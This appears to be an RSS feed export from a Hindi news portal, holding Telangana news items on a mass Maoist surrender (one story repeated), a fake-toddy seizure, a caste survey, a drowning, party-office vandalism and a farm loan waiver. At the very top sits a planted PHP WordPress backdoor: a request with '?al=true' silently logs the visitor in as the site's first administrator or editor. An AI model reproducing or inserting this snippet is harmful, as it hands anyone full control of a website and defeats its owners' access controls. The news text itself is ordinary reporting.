// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Telangana – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 07 Mar 2026 14:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 तेलंगाना में नक्सलियों का ऐतिहासिक सरेंडर: CM रेड्डी के सामने 130 माओवादियों ने डाले हथियार https://pratyushaashakinayikiran.com/?p=203158 Sat, 07 Mar 2026 14:36:00 +0000 https://pratyushaashakinayikiran.com/?p=203158 हैदराबाद

तेलंगाना में माओवादी संगठन को एक बड़ा झटका लगा है. मुख्यमंत्री रेवंत रेड्डी के सामने 31 मार्च, 2026 से पहले बड़ी संख्या में माओवादी कैडरों ने शुक्रवार आत्मसर्पण कर दिया. अलग-अलग स्तर के कुल 130 माओवादियों ने आत्मसमर्पण किया है. इनमें संगठन के 3 स्टेट कमेटी मेंबर, 1 रीजनल कमेटी मेंबर, 10 डिवीजनल/डीवाईसीएम स्तर के कैडर, 40 एरिया कमेटी मेंबर और करीब 70 पार्टी मेंबर शामिल बताए जा रहे हैं.

बस्तर मूल के कई माओवादी शामिल

आत्म समर्पण में बड़ी संख्या में बस्तर मूल के माओवादी शामिल हैं. PLGA बटालियन में सक्रिय 42, तेलंगाना स्टेट कमेटी में सक्रिय 30, दंडकारण्य स्पेशल जोनल कमेटी से जुड़े 32, 2nd सीआरसी के 16 और केंद्रीय समिति सदस्य देवजी की टीम से जुड़े 10 माओवादियों ने हिंसा का रास्ता छोड़ा है.

130 माओवादियों पर 4.18 करोड़ रुपए का था इनाम

इन माओवादियों के ऊपर 4 करोड़ 18 लाख 20 हजार रुपए का ईनाम घोषित है. आत्मसमर्पण के दौरान माओवादियों ने सुरक्षा एजेंसियों के सामने भारी मात्रा में हथियार और युद्ध सामग्री भी सौंप दी. बरामद हथियारों में 1 इंसास एलएमजी, 21 AK-47, 21 इंसास रायफल, 20 एसएलआर, 18 .303 रायफल, 1 नौ एमएम कार्बाइन, 2 नौ एमएम पिस्टल, 2 आठ एमएम बोल्ट-एक्शन रायफल, 18 कंट्री मेड गन और 2 बीजीएल शामिल हैं.

सुरक्षा बलों के लगातार दबाव और सरकार की पुनर्वास नीति के चलते माओवादी कैडरों ने मुख्यधारा में लौटने का फैसला किया है. बड़ी संख्या में हुए इस सामूहिक समर्पण को सुरक्षा एजेंसियां माओवादी संगठन के लिए एक बड़ा झटका मान रही हैं. सरकार का कहना है कि जो भी उग्रवादी हिंसा का रास्ता छोड़कर समाज की मुख्यधारा में लौटना चाहते हैं, उनके लिए पुनर्वास और नई शुरुआत के सभी रास्ते खुले हैं.

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तेलंगाना में नक्सलियों का ऐतिहासिक सरेंडर: CM रेड्डी के सामने 130 माओवादियों ने डाले हथियार https://pratyushaashakinayikiran.com/?p=203159 Sat, 07 Mar 2026 14:36:00 +0000 https://pratyushaashakinayikiran.com/?p=203159 हैदराबाद

तेलंगाना में माओवादी संगठन को एक बड़ा झटका लगा है. मुख्यमंत्री रेवंत रेड्डी के सामने 31 मार्च, 2026 से पहले बड़ी संख्या में माओवादी कैडरों ने शुक्रवार आत्मसर्पण कर दिया. अलग-अलग स्तर के कुल 130 माओवादियों ने आत्मसमर्पण किया है. इनमें संगठन के 3 स्टेट कमेटी मेंबर, 1 रीजनल कमेटी मेंबर, 10 डिवीजनल/डीवाईसीएम स्तर के कैडर, 40 एरिया कमेटी मेंबर और करीब 70 पार्टी मेंबर शामिल बताए जा रहे हैं.

बस्तर मूल के कई माओवादी शामिल

आत्म समर्पण में बड़ी संख्या में बस्तर मूल के माओवादी शामिल हैं. PLGA बटालियन में सक्रिय 42, तेलंगाना स्टेट कमेटी में सक्रिय 30, दंडकारण्य स्पेशल जोनल कमेटी से जुड़े 32, 2nd सीआरसी के 16 और केंद्रीय समिति सदस्य देवजी की टीम से जुड़े 10 माओवादियों ने हिंसा का रास्ता छोड़ा है.

130 माओवादियों पर 4.18 करोड़ रुपए का था इनाम

इन माओवादियों के ऊपर 4 करोड़ 18 लाख 20 हजार रुपए का ईनाम घोषित है. आत्मसमर्पण के दौरान माओवादियों ने सुरक्षा एजेंसियों के सामने भारी मात्रा में हथियार और युद्ध सामग्री भी सौंप दी. बरामद हथियारों में 1 इंसास एलएमजी, 21 AK-47, 21 इंसास रायफल, 20 एसएलआर, 18 .303 रायफल, 1 नौ एमएम कार्बाइन, 2 नौ एमएम पिस्टल, 2 आठ एमएम बोल्ट-एक्शन रायफल, 18 कंट्री मेड गन और 2 बीजीएल शामिल हैं.

सुरक्षा बलों के लगातार दबाव और सरकार की पुनर्वास नीति के चलते माओवादी कैडरों ने मुख्यधारा में लौटने का फैसला किया है. बड़ी संख्या में हुए इस सामूहिक समर्पण को सुरक्षा एजेंसियां माओवादी संगठन के लिए एक बड़ा झटका मान रही हैं. सरकार का कहना है कि जो भी उग्रवादी हिंसा का रास्ता छोड़कर समाज की मुख्यधारा में लौटना चाहते हैं, उनके लिए पुनर्वास और नई शुरुआत के सभी रास्ते खुले हैं.

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छत्तीसगढ़ में अवैध ताड़ी कारोबार का पर्दाफाश: 520 लीटर ताड़ी जब्त, तेलंगाना के पिता-पुत्र गिरफ्तार https://pratyushaashakinayikiran.com/?p=189611 Thu, 06 Nov 2025 12:25:00 +0000 https://pratyushaashakinayikiran.com/?p=189611 गरियाबंद

जिले में देवभोग पुलिस ने एक बड़ी कार्रवाई करते हुए 520 लीटर अवैध ताड़ी के साथ दो आरोपियों को गिरफ्तार किया है। गिरफ्तार किए गए आरोपी शिवा कुम्भम (25 वर्ष) और उसके पिता यादईया कुम्भम (50 वर्ष) को आबकारी अधिनियम के तहत न्यायालय में पेश किया गया, जहां उन्हें न्यायिक अभिरक्षा में जेल भेज दिया गया है। यह पहली बार है जब इतनी बड़ी मात्रा में कथित छिंद रस, जिसे ताड़ी कहा जाता है जब्त किया गया है।

थाना प्रभारी फैजुल हुदा शाह ने बताया कि तेलंगाना के नालगुंडा जिले के निवासी पिता-पुत्र इस क्षेत्र में लगातार ठिकाना बदलकर अवैध ताड़ी का कारोबार कर रहे थे। शिवा कुम्भम पहले भी 25 लीटर ताड़ी के साथ पकड़ा जा चुका है। जमानत मिलने के बाद वह कालाहांडी सीमा के खुटगांव के गौठान के पास अवैध बिक्री में जुटा हुआ था। पुलिस ने आरोपी से कुल 27,400 रुपये मूल्य का ताड़ी और नगद जब्त किया।

जाँच के लिए एफएसएल भेजी जाएगी जब्त ताड़ी

देवभोग क्षेत्र में ताड़ी का रहस्य वर्षों से चर्चा का विषय रहा है। पिछले कई सालों से इस क्षेत्र में सक्रिय ताड़ी कारोबारी रोजाना डेढ़ से 2 हजार लीटर ताड़ी की खपत कराते थे। अब पुलिस ने उच्च अधिकारियों की अनुमति लेकर जब्त ताड़ी का एफएसएल (Forensic Science Laboratory) परीक्षण कराने की तैयारी शुरू कर दी है।

फर्जी ताड़ी के सेवन से हो रही मौतें !

पूर्व कारोबारी सूत्रों के अनुसार, आंध्र और तेलंगाना में तैयार मीठी पावडर को बसों के माध्यम से देवभोग लाया जाता है। 1 किलो पावडर से लगभग 170 लीटर नकली ताड़ी तैयार होती है, जिसे 50 रुपये प्रति लीटर की दर से बेचा जाता है। इसमें नींद लाने वाली दवाओं (बेंजोडाइजिपम ग्रुप) का इस्तेमाल किया जाता है। औसतन 2,500 रुपये की लागत में 10,000 रुपये का ताड़ी उत्पाद तैयार होता है। सूत्रों ने बताया कि गांव में प्रभावशाली लोगों और आबकारी अधिकारियों को भी कमाई का 30 प्रतिशत हिस्सा दिया जाता था।

पिछले एक साल में देवभोग क्षेत्र में ताड़ी के सेवन से 10 से अधिक लोगों की मौत हुई है। मृतक फैटी लिवर जैसी गंभीर स्वास्थ्य समस्याओं से पीड़ित थे। बीएमओ प्रकाश साहू ने बताया कि मीठी पावडर में सेकरीन और कैल्शियम की अधिकता वाले तत्व पाए जाते हैं। विशेषज्ञ डॉक्टर अरविंद तिवारी ने चेताया कि नियमित सेवन से किडनी की कार्यक्षमता प्रभावित होती है और फैटी लिवर और नेफ्रो जैसी समस्याएं उत्पन्न होती हैं।

कैसा बनाया जाता है असली छिंद रस ?

जानकार बताते हैं कि असली छिंद रस छिंद और ताड़ पेड़ के तने को छेदकर प्राप्त किया जाता है। एक बड़े पेड़ से दिनभर में केवल 3 से 5 लीटर रस ही एकत्रित होता है। ताजा रस स्वास्थ्यवर्धक होता है और 3-5 घंटे के भीतर उसमें खमीर विकसित होकर प्राकृतिक मादकता लाता है। जबकि नकली ताड़ी में रासायनिक पावडर और दवाओं का प्रयोग तुरंत मादक बनाने के लिए किया जाता है।

पिछले डेढ़ साल में की गई 16 बड़ी कार्रवाई

पिछले डेढ़ साल में देवभोग थाना क्षेत्र में आबकारी विभाग और पुलिस ने मिलकर 16 बड़ी कार्रवाई की है। हालांकि पहले एफएसएल जांच कराने की प्रक्रिया जटिल होने के कारण लंबित रही, लेकिन अब पुलिस ने जप्त रस का परीक्षण कराने की पहल शुरू कर दी है। थाना प्रभारी फैजुल शाह ने बताया कि उच्च अधिकारियों के निर्देश पर अवैध पेय पदार्थ की बिक्री पर रोक और सख्त कार्रवाई लगातार जारी रहेगी।

थाना प्रभारी फैजुल शाह ने कहा कि जो लोग सीमा-वर्ती इलाकों का फायदा उठाकर अवैध बिक्री में शामिल होने की कोशिश करेंगे, उन पर कड़ी कार्रवाई की जाएगी। उच्च अधिकारियों से मार्गदर्शन लेकर आगे जप्त पेय पदार्थ की जांच और संबंधित कारोबारियों के खिलाफ कानूनी कार्रवाई की जाएगी।

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तेलंगाना में हाल ही में हुए जाति सर्वेक्षण में हुई गड़बड़ियों को लेकर विपक्षी पार्टियों, जिनमें BRS भी शामिल https://pratyushaashakinayikiran.com/?p=131210 Thu, 13 Feb 2025 10:25:00 +0000 https://pratyushaashakinayikiran.com/?p=131210 तेलंगाना
तेलंगाना में हाल ही में हुए जाति सर्वेक्षण में हुई गड़बड़ियों को लेकर विपक्षी पार्टियों, जिनमें भारत राष्ट्र समिति (BRS) भी शामिल है, की आलोचना का सामना कर रही कांग्रेस सरकार ने फैसला लिया है कि 16 से 28 फरवरी तक फिर सर्वेक्षण कराया जाएगा। यह सर्वे केवल उन 3.1 प्रतिशत परिवारों के लिए होगा जो पहले हुए जाति गणना में शामिल नहीं हो पाए थे। आपको बता दें कि तेलंगाना में हाल ही में जारी किए गए आंकड़ों की सटीकता और विश्वसनीयता को लेकर बहस छिड़ गई है। सबसे बड़ी चिंता राज्य के पिछड़ी जातियों की जनसंख्या में गिरावट को लेकर उठी थी।

तेलंगाना के उपमुख्यमंत्री भटी विक्रमार्का ने कहा, "3.1% परिवारों का कहना है कि वे फिर से विवरण देंगे। उनके लिए फिर से गिनती के लिए राज्य सरकार ने 16 से 28 फरवरी तक मौका देने का निर्णय लिया है। बचे हुई परिवारों के लिए एक टोल-फ्री नंबर भी घोषित कर रहे हैं।" लोग अपनी जानकारी ऑनलाइन, टोल-फ्री नंबर या मंडल कार्यालयों के माध्यम से प्रदान कर सकते हैं। डेटा की समीक्षा राज्य कैबिनेट द्वारा मार्च के पहले सप्ताह में की जाएगी।

उपमुख्यमंत्री मल्लू भटी विक्रमार्का ने बुधवार को संवाददाताओं से बात करते हुए कहा कि मार्च में राज्य विधानसभा के बजट सत्र के दौरान एक बिल पेश किया जाएगा, जिसमें स्थानीय निकाय चुनावों में 42 प्रतिशत आरक्षण का प्रावधान होगा। इस बिल के विधानसभा में पारित होने के बाद इसे केंद्र को स्वीकृति के लिए भेजा जाएगा और राजनीतिक सहमति प्राप्त करने की कोशिश की जाएगी।

विपक्षी पार्टियों ने कांग्रेस पर आरोप लगाया है कि वह अपने जाति सर्वे में जानबूझकर पिछड़ी जातियों की जनसंख्या को कम दिखा रही है। BRS नेता रवुला श्रीधर रेड्डी ने कहा, "उनके सर्वे में कोई प्रतिबद्धता नहीं है। यह सर्वे पूरी तरह से दोषपूर्ण है। उन्होंने केवल 96.9% परिवारों को कवर किया है और अधिकांश परिवारों ने जानकारी नहीं दी।" बीजेपी ने कांग्रेस पर आरोप लगाया कि वह इस मुद्दे पर ईमानदारी से काम नहीं कर रही है। BJP नेता के कृष्णा सागर राव ने कहा, "कांग्रेस जो भी लोगों के लिए प्रस्तावित करती है, उसमें सच्चाई नहीं होती है। इसी कारण लोग उन पर विश्वास करना बंद कर चुके हैं।"

जाति सर्वे में मुस्लिम समुदाय को पिछड़ी जातियों में शामिल करने पर केंद्र सरकार के मंत्री बंदी संजय कुमार ने शनिवार को आरोप लगाया कि इस कदम से पिछड़ी जातियों के साथ अन्याय होगा। उन्होंने कहा कि हैदराबाद नगर निगम चुनावों में हिंदू उम्मीदवारों की हार का कारण पिछड़ी मुस्लिम जातियों को पिछड़ी जातियों के रूप में चार प्रतिशत आरक्षण दिए जाने का था। बंदी संजय ने कहा कि राज्य सरकार को यह याद रखना चाहिए कि अन्य जातियों का भी मुस्लिमों को पिछड़ी जाति के रूप में शामिल करने के खिलाफ विरोध है।

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तेलंगाना के कोंडा पोचम्मा जलाशय में पांच युवक डूबे, तीन शव किए बरामद https://pratyushaashakinayikiran.com/?p=120393 Sun, 12 Jan 2025 14:05:00 +0000 https://pratyushaashakinayikiran.com/?p=120393 हैदराबाद।

तेलंगाना के सिद्दीपेट जिले में कोंडा पोचम्मा सागर जलाशय में शनिवार को दो भाइयों समेत पांच युवक डूब गए। पुलिस ने बताया कि तीन शव बरामद कर लिए गए हैं और दो अन्य को निकालने के प्रयास जारी हैं। पुलिस के अनुसार, हैदराबाद के तीन नाबालिगों समेत सात युवक शनिवार सुबह पोचम्मा मंदिर में दर्शन करने गए थे।

वहां से वह कुछ समय बिताने के लिए जलाशय पहुंचे थे। सभी ने जलाशय में उतरने का साहस किया, लेकिन दो लोग वापस किनारे पर आ गए। उन्होंने बताया कि पांच में से एक फिसल गया और अन्य ने उसे बचाने की कोशिश की, लेकिन सभी डूब गए। पुलिस ने बताया कि युवक अलग रास्ते से जलाशय पहुंचे थे। उन्होंने बताया कि बाहरी लोगों को जलाशय में प्रवेश की अनुमति नहीं है। मुख्यमंत्री ए रेवंत रेड्डी ने घटना पर दुख जताया और जिला अधिकारियों को राहत कार्य चलाने का निर्देश दिया।

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तेलंगाना में बीआरएस कार्यालय में तोड़फोड़, कांग्रेस कार्यकर्ताओं ने मुख्यमंत्री पर टिप्पणी का जताया विरोध https://pratyushaashakinayikiran.com/?p=120403 Sun, 12 Jan 2025 13:45:00 +0000 https://pratyushaashakinayikiran.com/?p=120403 हैदराबाद।

तेलंगाना के भोंगीर में कांग्रेस कार्यकर्ताओं ने विपक्षी भारतीय राष्ट्रीय समिति (बीआरएस) के कार्यालय में तोड़फोड़ की। यह घटना तब हुई जब बीआरएस नेता रामकृष्ण रेड्डी ने हैदराबाद में प्रेस कॉन्फ्रेंस के दौरान मुख्यमंत्री ए रेवंत रेड्डी के खिलाफ अपमानजनक टिप्पणी की।

पुलिस ने कहा कि जवाबी कार्रवाई में, कांग्रेस कार्यकर्ताओं ने कथित तौर पर बीआरएस कार्यालय में फर्नीचर और अन्य सामान में तोड़फोड़ की। उन्होंने कहा कि पुलिसकर्मियों ने तुरंत प्रतिक्रिया करते हुए तोड़फोड़ करने वालों को तितर-बितर कर दिया और एक पुलिस पिकेट स्थापित की। पुलिस ने कहा कि कानून के अनुसार कार्रवाई की जाएगी। वहीं, बीआरएस के कार्यकारी अध्यक्ष केटी रामा राव और पार्टी के अन्य नेताओं ने इस घटना को लेकर कांग्रेस की आलोचना की।

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तेलंगाना के 70 लाख किसानों की ऋण माफी, सरकार ने 7000 करोड़ रुपये बैंकों को दिया https://pratyushaashakinayikiran.com/?p=52560 Thu, 18 Jul 2024 18:09:00 +0000 https://pratyushaashakinayikiran.com/?p=52560 नई दिल्ली
तेलंगाना सरकार नई योजना शुरू करने जा रही है। जिसके तहत किसानों के कर्ज माफ किए जाएंगे। लगभग 70 लाख किसान इस योजना से लाभान्वित होंगे। दरअसल तेलंगाना सरकार अपने चुनावी वादे के तहत कृषि ऋण माफी की तैयारी कर रही है। गुरुवार को शाम 4 बजे किसानों के खातों में एक लाख रुपये तक के ऋण माफी के पैसे जमा किए जाएंगे।

तेलंगाना मुख्यमंत्री ए रेवंत रेड्डी ने घोषणा की थी कि उनकी सरकार 15 अगस्त तक 2 लाख रुपये तक के ऋण को माफ कर देगी। तेलंगाना सरकार अपने इस चुनावी वादों को पूरा करने की तैयारी कर रही है। गुरुवार को शाम 4 बजे किसानों के खातों में एक लाख रुपये तक के ऋण माफी के पैसे जमा किए जाएंगे।  1 लाख रुपये तक के ऋण के लिए 7,000 करोड़ रुपये गुरुवार को खातों में जमा होंगे। 1.5 लाख रुपये तक के फसली ऋण जुलाई के अंत तक और शेष अगस्त तक माफ कर दिए जाएंगे।

15 अगस्त तक माफ करने का था वादा

तेलंगाना सरकार आज जो कर्ज माफी कार्यक्रम शुरू करने जा रही है, यह चुनावी वादा था। इस वादे से राज्य के 70 लाख किसानों को फायदा होगा। राज्य के मुख्यमंत्री ए रेवंत रेड्डी ने पहले घोषणा की थी कि सरकार 15 अगस्त तक 2 लाख रुपये तक का कर्ज माफ कर देगी। इसकी शुरुआत आज शाम 4 बजे हो रही है। आज जिन किसानों का कर्ज माफ होना है, उनके खातों में एक लाख रुपये तक की कर्ज माफी की रकम जमा कर दी जाएगी।

सरकार दे रही है 7,000 करोड़

मुख्यमंत्री ने बताया कि जिन किसानों का एक लाख रुपये तक का कर्ज माफ किया जा रहा है, उनके खातों में कुल 7,000 करोड़ रुपये जमा किए जाएंगे। डेढ़ लाख रुपये तक के फसली कर्ज जुलाई के अंत तक माफ कर दिए जाएंगे और अगस्त में दो लाख रुपये तक के कर्ज माफ करने की प्रक्रिया पूरी कर ली जाएगी। यह ऋण माफी रायथु वेदिकाज "Rythu Vedikas" योजना के तहत हो रही है।

बैंकरों से मिलेंगे उपमुख्यमंत्री

खबर है कि इस प्रमुख कार्यक्रम के शुभारंभ से पहले, उपमुख्यमंत्री मल्लू भट्टी विक्रमारक सुबह बैंकरों के साथ बैठक करेंगे। कर्ज माफी योजना पर कलेक्टरों द्वारा उठाए गए संदेहों को दूर करने और उनका तुरंत समाधान करने के लिए सचिवालय में दो जिलों (अविभाजित पुराने जिले) के लिए एक वरिष्ठ स्तर के अधिकारी उपलब्ध रहेंगे। राज्य सरकार ने स्पष्ट किया है कि राशन कार्ड का उपयोग केवल परिवार की पहचान के लिए किया जाता है।

70 लाख किसानों ने लिया है कर्ज

तेलंगाना राज्य में कुल 90 लाख राशन कार्ड हैं। हालांकि बैंक से कर्ज वाले किसान खातों की संख्या केवल 70 लाख है। मुख्यमंत्री ने स्पष्ट किया कि 6.36 लाख किसान जिनके पास राशन कार्ड नहीं हैं और उन्होंने कृषि ऋण लिया है, वे भी कृषि ऋण माफी लाभ का लाभ उठाने के पात्र हैं। माना जा रहा है कि यह योजना तेलंगाना के किसानों को बड़ी राहत देगी जो फसल खराब होने और बाजार में कम कीमतों जैसी कई समस्याओं का सामना कर रहे हैं। इससे उन्हें अपने कर्ज से उबरने और अपनी आजीविका में सुधार करने में मदद मिलेगी।

 

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